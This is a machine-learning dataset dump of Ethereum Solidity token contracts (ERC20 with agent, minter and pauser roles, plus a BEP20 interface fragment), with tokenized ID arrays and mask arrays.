-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x841dAc53Bd3cb199d5f453BEf03dB6c4f9de999a/sources/ItemBase.sol | 0x434f4e54524143545f52494e475f45524332305f544f4b454e00000000000000 0x434f4e54524143545f4f424a4543545f4f574e45525348495000000000000000 0x434f4e54524143545f4954454d5f424153450000000000000000000000000000 | contract FurnanceSettingIds {
uint256 internal constant PREFER_GOLD = 1 << 0;
uint256 internal constant PREFER_WOOD = 1 << 1;
uint256 internal constant PREFER_WATER = 1 << 2;
uint256 internal constant PREFER_FIRE = 1 << 3;
uint256 internal constant PREFER_SOIL = 1 << 4;
bytes32 internal constant CONTRACT_RING_ERC20_TOKEN = "CONTRACT_RING_ERC20_TOKEN";
bytes32 internal constant CONTRACT_OBJECT_OWNERSHIP = "CONTRACT_OBJECT_OWNERSHIP";
bytes32 internal constant CONTRACT_ITEM_BASE = "CONTRACT_ITEM_BASE";
}
| 5,314,612 | [
1,
20,
92,
24,
5026,
74,
24,
73,
6564,
25,
3247,
3461,
4763,
7950,
74,
25,
3247,
11290,
73,
24,
5877,
74,
24,
2539,
3247,
23,
1578,
5082,
25,
74,
25,
6334,
74,
24,
70,
24,
6564,
73,
12648,
9449,
374,
92,
24,
5026,
74,
24,
73,
6564,
25,
3247,
3461,
4763,
7950,
74,
24,
74,
24,
3247,
69,
24,
6564,
4763,
7950,
74,
24,
74,
25,
5608,
73,
24,
2539,
2947,
5026,
5193,
8778,
12648,
17877,
374,
92,
24,
5026,
74,
24,
73,
6564,
25,
3247,
3461,
4763,
7950,
74,
7616,
25,
6334,
6564,
72,
25,
74,
24,
3247,
3600,
25574,
12648,
12648,
12648,
2787,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
478,
321,
1359,
5568,
2673,
288,
203,
203,
202,
11890,
5034,
2713,
5381,
7071,
6553,
67,
43,
11846,
273,
404,
2296,
374,
31,
203,
202,
11890,
5034,
2713,
5381,
7071,
6553,
67,
59,
51,
1212,
273,
404,
2296,
404,
31,
203,
202,
11890,
5034,
2713,
5381,
7071,
6553,
67,
59,
13641,
273,
404,
2296,
576,
31,
203,
202,
11890,
5034,
2713,
5381,
7071,
6553,
67,
1653,
862,
273,
404,
2296,
890,
31,
203,
202,
11890,
5034,
2713,
5381,
7071,
6553,
67,
3584,
2627,
273,
404,
2296,
1059,
31,
203,
203,
203,
565,
1731,
1578,
2713,
5381,
8020,
2849,
1268,
67,
54,
1360,
67,
654,
39,
3462,
67,
8412,
273,
315,
6067,
2849,
1268,
67,
54,
1360,
67,
654,
39,
3462,
67,
8412,
14432,
203,
203,
565,
1731,
1578,
2713,
5381,
8020,
2849,
1268,
67,
9422,
67,
29602,
20101,
273,
315,
6067,
2849,
1268,
67,
9422,
67,
29602,
20101,
14432,
203,
203,
565,
1731,
1578,
2713,
5381,
8020,
2849,
1268,
67,
12674,
67,
8369,
273,
315,
6067,
2849,
1268,
67,
12674,
67,
8369,
14432,
203,
225,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
_owner = msg.sender;
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
uint256 internal _totalSupply;
uint256 internal _totalHolders;
uint256 internal _totalTransfers;
uint256 internal _initialSupply;
function initialSupply() public view returns (uint256) {
return _initialSupply;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function circulatingSupply() public view returns (uint256) {
require(_totalSupply >= _balances[owner()]);
return _totalSupply.sub(_balances[owner()]);
}
/**
* @dev total number of token holders in existence
*/
function totalHolders() public view returns (uint256) {
return _totalHolders;
}
/**
* @dev total number of token transfers
*/
function totalTransfers() public view returns (uint256) {
return _totalTransfers;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
if (_balances[msg.sender] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
if (msg.sender == from) {
return transfer(to, value);
}
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
if (_balances[from] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param amount The amount that will be created.
*/
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
if (_balances[account] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
if (_balances[account] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param amount The amount that will be burnt.
*/
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
amount);
_burn(account, amount);
}
}
contract AgentRole is Ownable {
using Roles for Roles.Role;
event AgentAdded(address indexed account);
event AgentRemoved(address indexed account);
Roles.Role private agencies;
constructor() public {
agencies.add(msg.sender);
}
modifier onlyAgent() {
require(isOwner() || isAgent(msg.sender));
_;
}
function isAgent(address account) public view returns (bool) {
return agencies.has(account);
}
function addAgent(address account) public onlyAgent {
agencies.add(account);
emit AgentAdded(account);
}
function renounceAgent() public onlyAgent {
agencies.remove(msg.sender);
}
function _removeAgent(address account) internal {
agencies.remove(account);
emit AgentRemoved(account);
}
}
/**
* @title Agent token
* @dev ERC20 modified with agentable transfers.
**/
contract ERC20Agentable is ERC20, AgentRole {
function removeAgent(address account) public onlyAgent {
_removeAgent(account);
}
function _removeAgent(address account) internal {
super._removeAgent(account);
}
function transferProxy(
address from,
address to,
uint256 value
)
public
onlyAgent
returns (bool)
{
if (msg.sender == from) {
return transfer(to, value);
}
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
if (_balances[from] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(from, to, value);
return true;
}
function approveProxy(
address from,
address spender,
uint256 value
)
public
onlyAgent
returns (bool)
{
require(spender != address(0));
_allowed[from][spender] = value;
emit Approval(from, spender, value);
return true;
}
function increaseAllowanceProxy(
address from,
address spender,
uint addedValue
)
public
onlyAgent
returns (bool success)
{
require(spender != address(0));
_allowed[from][spender] = (
_allowed[from][spender].add(addedValue));
emit Approval(from, spender, _allowed[from][spender]);
return true;
}
function decreaseAllowanceProxy(
address from,
address spender,
uint subtractedValue
)
public
onlyAgent
returns (bool success)
{
require(spender != address(0));
_allowed[from][spender] = (
_allowed[from][spender].sub(subtractedValue));
emit Approval(from, spender, _allowed[from][spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
/**
* @dev Overrides ERC20._burn in order for burn and burnFrom to emit
* an additional Burn event.
*/
function _burn(address who, uint256 value) internal {
super._burn(who, value);
}
}
contract MinterRole is Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private minters;
constructor() public {
minters.add(msg.sender);
}
modifier onlyMinter() {
require(isOwner() || isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return minters.has(account);
}
function addMinter(address account) public onlyMinter {
minters.add(account);
emit MinterAdded(account);
}
function renounceMinter() public onlyMinter {
minters.remove(msg.sender);
}
function _removeMinter(address account) internal {
minters.remove(account);
emit MinterRemoved(account);
}
}
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
event MintingFinished();
bool private _mintingFinished = false;
modifier onlyBeforeMintingFinished() {
require(!_mintingFinished);
_;
}
function removeMinter(address account) public onlyMinter {
_removeMinter(account);
}
function _removeMinter(address account) internal {
super._removeMinter(account);
}
/**
* @return true if the minting is finished.
*/
function mintingFinished() public view returns(bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address to,
uint256 amount
)
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mint(to, amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting()
public
onlyMinter
onlyBeforeMintingFinished
returns (bool)
{
_mintingFinished = true;
emit MintingFinished();
return true;
}
}
contract PauserRole is Ownable {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private pausers;
constructor() public {
pausers.add(msg.sender);
}
modifier onlyPauser() {
require(isOwner() || isPauser(msg.sender));
_;
}
function isPauser(address account) public view returns (bool) {
return pausers.has(account);
}
function addPauser(address account) public onlyPauser {
pausers.add(account);
emit PauserAdded(account);
}
function renouncePauser() public onlyPauser {
pausers.remove(msg.sender);
}
function _removePauser(address account) internal {
pausers.remove(account);
emit PauserRemoved(account);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is PauserRole {
event Paused();
event Unpaused();
bool private _paused = false;
/**
* @return true if the contract is paused, false otherwise.
*/
function paused() public view returns(bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function removePauser(address account) public onlyPauser {
_removePauser(account);
}
function _removePauser(address account) internal {
super._removePauser(account);
}
function transfer(
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(to, value);
}
function transferFrom(
address from,
address to,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(from, to, value);
}
function approve(
address spender,
uint256 value
)
public
whenNotPaused
returns (bool)
{
return super.approve(spender, value);
}
function increaseAllowance(
address spender,
uint addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(
address spender,
uint subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseAllowance(spender, subtractedValue);
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0));
return role.bearer[account];
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Token is ERC20Burnable, ERC20Mintable, ERC20Pausable, ERC20Agentable {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string name, string symbol, uint8 decimals, uint256 initialSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_initialSupply = initialSupply;
_totalSupply = _initialSupply;
_balances[msg.sender] = _initialSupply;
emit Transfer(0x0, msg.sender, _initialSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
function meta(address account) public view returns (string, string, uint8, uint256, uint256, uint256, uint256, uint256, uint256) {
uint256 circulating = 0;
if (_totalSupply > _balances[owner()]) {
circulating = _totalSupply.sub(_balances[owner()]);
}
uint256 balance = 0;
if (account != address(0)) {
balance = _balances[account];
} else if (msg.sender != address(0)) {
balance = _balances[msg.sender];
}
return (_name, _symbol, _decimals, _initialSupply, _totalSupply, _totalTransfers, _totalHolders, circulating, balance);
}
function batchTransfer(address[] addresses, uint256[] tokenAmount) public returns (bool) {
require(addresses.length > 0 && addresses.length == tokenAmount.length);
for (uint i = 0; i < addresses.length; i++) {
address _to = addresses[i];
uint256 _value = tokenAmount[i];
super.transfer(_to, _value);
}
return true;
}
function batchTransferFrom(address _from, address[] addresses, uint256[] tokenAmount) public returns (bool) {
require(addresses.length > 0 && addresses.length == tokenAmount.length);
for (uint i = 0; i < addresses.length; i++) {
address _to = addresses[i];
uint256 _value = tokenAmount[i];
super.transferFrom(_from, _to, _value);
}
return true;
}
} | * @title Agent token @dev ERC20 modified with agentable transfers./ | contract ERC20Agentable is ERC20, AgentRole {
function removeAgent(address account) public onlyAgent {
_removeAgent(account);
}
function _removeAgent(address account) internal {
super._removeAgent(account);
}
function transferProxy(
address from,
address to,
uint256 value
)
public
onlyAgent
returns (bool)
{
if (msg.sender == from) {
return transfer(to, value);
}
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
if (_balances[from] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(from, to, value);
return true;
}
function transferProxy(
address from,
address to,
uint256 value
)
public
onlyAgent
returns (bool)
{
if (msg.sender == from) {
return transfer(to, value);
}
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
if (_balances[from] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(from, to, value);
return true;
}
function transferProxy(
address from,
address to,
uint256 value
)
public
onlyAgent
returns (bool)
{
if (msg.sender == from) {
return transfer(to, value);
}
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
if (_balances[from] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(from, to, value);
return true;
}
function transferProxy(
address from,
address to,
uint256 value
)
public
onlyAgent
returns (bool)
{
if (msg.sender == from) {
return transfer(to, value);
}
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
if (_balances[from] == 0 && _totalHolders > 0) {
_totalHolders = _totalHolders.sub(1);
}
if (_balances[to] == 0) {
_totalHolders = _totalHolders.add(1);
}
_balances[to] = _balances[to].add(value);
_totalTransfers = _totalTransfers.add(1);
emit Transfer(from, to, value);
return true;
}
function approveProxy(
address from,
address spender,
uint256 value
)
public
onlyAgent
returns (bool)
{
require(spender != address(0));
_allowed[from][spender] = value;
emit Approval(from, spender, value);
return true;
}
function increaseAllowanceProxy(
address from,
address spender,
uint addedValue
)
public
onlyAgent
returns (bool success)
{
require(spender != address(0));
_allowed[from][spender] = (
_allowed[from][spender].add(addedValue));
emit Approval(from, spender, _allowed[from][spender]);
return true;
}
function decreaseAllowanceProxy(
address from,
address spender,
uint subtractedValue
)
public
onlyAgent
returns (bool success)
{
require(spender != address(0));
_allowed[from][spender] = (
_allowed[from][spender].sub(subtractedValue));
emit Approval(from, spender, _allowed[from][spender]);
return true;
}
}
| 2,113,933 | [
1,
3630,
1147,
225,
4232,
39,
3462,
4358,
598,
4040,
429,
29375,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
4232,
39,
3462,
3630,
429,
353,
4232,
39,
3462,
16,
8669,
2996,
288,
203,
203,
225,
445,
1206,
3630,
12,
2867,
2236,
13,
1071,
1338,
3630,
288,
203,
565,
389,
4479,
3630,
12,
4631,
1769,
203,
225,
289,
203,
203,
225,
445,
389,
4479,
3630,
12,
2867,
2236,
13,
2713,
288,
203,
565,
2240,
6315,
4479,
3630,
12,
4631,
1769,
203,
225,
289,
203,
203,
225,
445,
7412,
3886,
12,
203,
565,
1758,
628,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
460,
203,
225,
262,
203,
565,
1071,
203,
565,
1338,
3630,
203,
565,
1135,
261,
6430,
13,
203,
225,
288,
203,
565,
309,
261,
3576,
18,
15330,
422,
628,
13,
288,
203,
1377,
327,
7412,
12,
869,
16,
460,
1769,
203,
565,
289,
203,
203,
565,
2583,
12,
1132,
1648,
389,
70,
26488,
63,
2080,
19226,
203,
565,
2583,
12,
869,
480,
1758,
12,
20,
10019,
203,
203,
565,
389,
70,
26488,
63,
2080,
65,
273,
389,
70,
26488,
63,
2080,
8009,
1717,
12,
1132,
1769,
203,
203,
565,
309,
261,
67,
70,
26488,
63,
2080,
65,
422,
374,
597,
389,
4963,
27003,
405,
374,
13,
288,
203,
1377,
389,
4963,
27003,
273,
389,
4963,
27003,
18,
1717,
12,
21,
1769,
203,
565,
289,
203,
565,
309,
261,
67,
70,
26488,
63,
869,
65,
422,
374,
13,
288,
203,
1377,
389,
4963,
27003,
273,
389,
4963,
27003,
18,
1289,
12,
21,
1769,
203,
565,
289,
203,
203,
565,
389,
70,
26488,
63,
869,
65,
273,
389,
70,
26488,
63,
2
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-15
*/
// SPDX-License-Identifier: No License (None)
pragma solidity ^0.8.0;
interface IBEP20TokenCloned {
// initialize cloned token just for BEP20TokenCloned
function initialize(address newOwner, string calldata name, string calldata symbol, uint8 decimals) external;
function mint(address user, uint256 amount) external;
function burnFrom(address account, uint256 amount) external returns(bool);
function burn(uint256 amount) external returns(bool);
function balanceOf(address account) external view returns (uint256);
